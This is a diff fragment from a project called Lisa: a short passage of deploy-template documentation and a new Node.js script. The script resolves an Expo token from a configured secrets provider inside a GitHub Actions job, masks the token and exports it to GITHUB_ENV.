The deploy caller is a **create-only** template. Existing projects must deliberately apply these caller changes after upgrading Lisa; a normal sync does not overwrite their workflow. This pilot does not convert other workflow credentials. `DEPLOY_KEY` remains available before dependency installation for checkout. Do not remove an existing Expo repository secret until a provider-only run has authenticated successfully.
|
|
202
|
+
|
|
191
203
|
## The exposure boundary
|
|
192
204
|
|
|
193
205
|
**The provider's own scoping is the default allowlist.** The machine account's project grants *are* the permitted set; restating that as a list in config would duplicate a boundary the provider already enforces.
|
|
@@ -0,0 +1,90 @@
|
|
|
1
|
+
#!/usr/bin/env node
|
|
2
|
+
/** Resolve the Expo pilot's credential inside its GitHub Actions job. */
|
|
3
|
+
import { randomUUID } from "node:crypto";
|
|
4
|
+
import { appendFileSync } from "node:fs";
|
|
5
|
+
|
|
6
|
+
import { get, readConfig } from "./resolve-secret.mjs";
|
|
7
|
+
import { ENV_KEY } from "./providers.mjs";
|
|
8
|
+
import {
|
|
9
|
+
BIN_DIR,
|
|
10
|
+
ensureOnPath,
|
|
11
|
+
loadPinnedInstaller,
|
|
12
|
+
} from "../../lisa-setup-workstation/scripts/cli.mjs";
|
|
13
|
+
import {
|
|
14
|
+
installEntry,
|
|
15
|
+
planProvider,
|
|
16
|
+
resolveProvider,
|
|
17
|
+
} from "../../lisa-setup-workstation/scripts/workstation.mjs";
|
|
18
|
+
|
|
19
|
+
/** Provision only the selected provider, using the existing pinned installer. */
|
|
20
|
+
async function prepareProvider(name) {
|
|
21
|
+
const provider = resolveProvider(name);
|
|
22
|
+
let plan = planProvider(provider);
|
|
23
|
+
if (plan.action === "present") return;
|
|
24
|
+
ensureOnPath(BIN_DIR);
|
|
25
|
+
plan = planProvider(provider);
|
|
26
|
+
if (plan.action === "present") return;
|
|
27
|
+
if (plan.action !== "install") throw new Error("Provider needs setup");
|
|
28
|
+
const installed = installEntry({ ...provider, name: provider.binary }, plan, {
|
|
29
|
+
installPinned: await loadPinnedInstaller(),
|
|
30
|
+
});
|
|
31
|
+
if (installed.action !== "installed")
|
|
32
|
+
throw new Error("Provider setup failed");
|
|
33
|
+
}
|
|
34
|
+
|
|
35
|
+
/** Keep the bootstrap inside this subprocess; export only the selected value. */
|
|
36
|
+
async function resolveToken() {
|
|
37
|
+
const explicit = process.env.EXPO_TOKEN;
|
|
38
|
+
const bootstrap = process.env.LISA_SECRETS_BOOTSTRAP;
|
|
39
|
+
delete process.env.LISA_SECRETS_BOOTSTRAP;
|
|
40
|
+
if (explicit) return explicit;
|
|
41
|
+
|
|
42
|
+
process.env.LISA_SECRETS_SURFACE = "github-actions";
|
|
43
|
+
const cfg = readConfig();
|
|
44
|
+
if (cfg.provider === "env") return "";
|
|
45
|
+
if (
|
|
46
|
+
bootstrap &&
|
|
47
|
+
(!ENV_KEY.test(cfg.bootstrap.key ?? "") ||
|
|
48
|
+
cfg.bootstrap.key === "EXPO_TOKEN")
|
|
49
|
+
) {
|
|
50
|
+
throw new Error("Invalid bootstrap key");
|
|
51
|
+
}
|
|
52
|
+
await prepareProvider(cfg.provider);
|
|
53
|
+
if (bootstrap) process.env[cfg.bootstrap.key] = bootstrap;
|
|
54
|
+
return get("EXPO_TOKEN", cfg);
|
|
55
|
+
}
|
|
56
|
+
|
|
57
|
+
if (process.argv.includes("--help")) {
|
|
58
|
+
// Safe to inspect without preparing a provider or reading/exporting a token.
|
|
59
|
+
console.log("Environment: EXPO_TOKEN LISA_SECRETS_BOOTSTRAP GITHUB_ENV");
|
|
60
|
+
console.log(
|
|
61
|
+
"An explicit EXPO_TOKEN takes precedence; otherwise resolve through the configured provider and export only EXPO_TOKEN to GITHUB_ENV."
|
|
62
|
+
);
|
|
63
|
+
} else {
|
|
64
|
+
let failureMessage = "GITHUB_ENV is required to export EXPO_TOKEN.";
|
|
65
|
+
try {
|
|
66
|
+
const destination = process.env.GITHUB_ENV;
|
|
67
|
+
if (!destination) throw new Error("GITHUB_ENV is required");
|
|
68
|
+
failureMessage =
|
|
69
|
+
"Unable to resolve EXPO_TOKEN. Check the configured provider, bootstrap input, and secrets.require; ensure the runner can install its provider CLI.";
|
|
70
|
+
const token = await resolveToken();
|
|
71
|
+
if (token) {
|
|
72
|
+
const masked = token
|
|
73
|
+
.replaceAll("%", "%25")
|
|
74
|
+
.replaceAll("\r", "%0D")
|
|
75
|
+
.replaceAll("\n", "%0A");
|
|
76
|
+
console.log(`::add-mask::${masked}`);
|
|
77
|
+
const delimiter = randomUUID();
|
|
78
|
+
failureMessage =
|
|
79
|
+
"Unable to write EXPO_TOKEN to GITHUB_ENV. Check the runner's environment file.";
|
|
80
|
+
appendFileSync(
|
|
81
|
+
destination,
|
|
82
|
+
`EXPO_TOKEN<<${delimiter}\n${token}\n${delimiter}\n`
|
|
83
|
+
);
|
|
84
|
+
}
|
|
85
|
+
} catch {
|
|
86
|
+
// Provider errors can contain captured subprocess output. Never echo it.
|
|
87
|
+
console.error(failureMessage);
|
|
88
|
+
process.exitCode = 1;
|
|
89
|
+
}
|
|
90
|
+
}
|